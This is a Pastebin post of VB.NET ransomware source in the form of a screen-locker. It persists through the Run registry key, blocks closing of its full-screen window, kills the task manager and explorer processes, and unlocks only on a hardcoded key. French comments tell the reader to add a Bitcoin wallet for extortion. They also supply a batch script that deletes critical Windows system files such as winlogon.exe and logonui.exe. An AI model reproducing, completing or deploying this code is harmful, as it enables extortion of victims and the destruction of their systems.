Advertisement
Guest User

Ransomware [] VB.NET

a guest
Jan 2nd, 2018
327
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.16 KB | None | 0 0
  1. Imports Microsoft.Win32
  2.  
  3. Public Class Form1
  4.  
  5. Private Declare Function SetThreadExecutionState Lib "kernel32" (ByVal esFlags As Int32) As Int32
  6. Public Enum EXECUTION_STATE As Integer
  7. ES_CONTINUOUS = &H80000000
  8. ES_DISPLAY_REQUIRED = &H2
  9. ES_SYSTEM_REQUIRED = &H1
  10. ES_AWAYMODE_REQUIRED = &H40
  11. End Enum
  12.  
  13. Dim i As Integer = 86401 'Déclare la variable "i"
  14. Sub AddStartup()
  15. My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\CurrentVersion\run").SetValue("Ransomware", Application.ExecutablePath)
  16. 'Mettre le prgramme en démarrage automatique
  17.  
  18. End Sub
  19. Sub RemoveStartup()
  20. My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\CurrentVersion\run", True).DeleteValue("Ransomware")
  21. 'Enlever le démarrage automatique
  22. End Sub
  23.  
  24. Protected Overrides ReadOnly Property CreateParams As CreateParams
  25. Get
  26. Dim CurrentParams As CreateParams = MyBase.CreateParams
  27. Const CS_NOCLOSE As Integer = &H200
  28. CurrentParams.ClassStyle = CurrentParams.ClassStyle Or CS_NOCLOSE
  29. Return CurrentParams
  30. End Get
  31. End Property
  32. Private Sub Form1_load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
  33. If i > 1 Then
  34.  
  35. Timer1.Start()
  36. i = i - 1
  37.  
  38. Label1.Text = i 'Transformer le text 1 en decompte
  39. Else
  40. Timer1.Stop()
  41. End If
  42. Me.Height = My.Computer.Screen.Bounds.Height
  43. Me.Width = My.Computer.Screen.Bounds.Width 'Mettre la forme en gros
  44. Me.Location = New Point(0, 0)
  45. SetThreadExecutionState(EXECUTION_STATE.ES_CONTINUOUS)
  46. If i > 1 Then
  47. AddStartup()
  48. End If
  49. End Sub
  50.  
  51. Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
  52. Try
  53. For Each proc As Process In Process.GetProcesses
  54. If proc.ProcessName = "Taskmngr" Then 'Fermer le gestionnaire
  55. proc.Kill()
  56. End If
  57. Next
  58. For Each proc As Process In Process.GetProcesses
  59. If proc.ProcessName = "explorer" Then 'Eteindre le programme bureau
  60. proc.Kill()
  61. End If
  62.  
  63. Next
  64.  
  65.  
  66. Catch ex As Exception
  67.  
  68. End Try
  69. If i > 1 Then
  70.  
  71. Timer1.Start()
  72. i = i - 1
  73.  
  74. Label1.Text = i
  75. Else
  76. Timer1.Stop()
  77. End If
  78.  
  79.  
  80. End Sub
  81.  
  82. Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
  83.  
  84. End Sub
  85.  
  86. Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
  87. If TextBox1.Text = "8b03-GhO2-Zm4U-Et7K" Then
  88. Me.Close() 'Fermer Formulaire 1
  89. End If
  90.  
  91. If TextBox1.Text = "Votre mot de passe" Then
  92. RemoveStartup()
  93. End If
  94. If TextBox1.Text = "Votre mot de passe" Then
  95. System.Diagnostics.Process.Start("shutdown.exe", "-r -f -t 100") ' Restart
  96. End If
  97.  
  98. End Sub
  99.  
  100. Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  101.  
  102. End Sub
  103. Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  104. SetThreadExecutionState(EXECUTION_STATE.ES_DISPLAY_REQUIRED Or EXECUTION_STATE.ES_CONTINUOUS) ' stop
  105. End Sub
  106. 'Après c'est à vous de vous créé une image de fond, un porte-feuille Bitcoin et de choisire votre clefs pour effectuer le transfert d'argent.
  107. 'Déclarer les differents Itemes.
  108. 'Trouver un moyen de sauver le timer et de créé un .bat pour supprimer les fichiers
  109. '@echo off
  110. 'del "C:\windows\pchealth\"
  111. 'del "C:\windows\system\"
  112. 'del "C:\windows\system32\restore\"
  113. 'del "winlogon.exe"
  114. 'del "C:\windows\system32\autoexec.nt"
  115. 'del "C:\windows\system32\logonui.exe"
  116. 'del "C:\windows\system32\ntoskrn
  117. 'copier coller ca dans le bloc note puis enregistrer le en .bat
  118.  
  119.  
  120. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement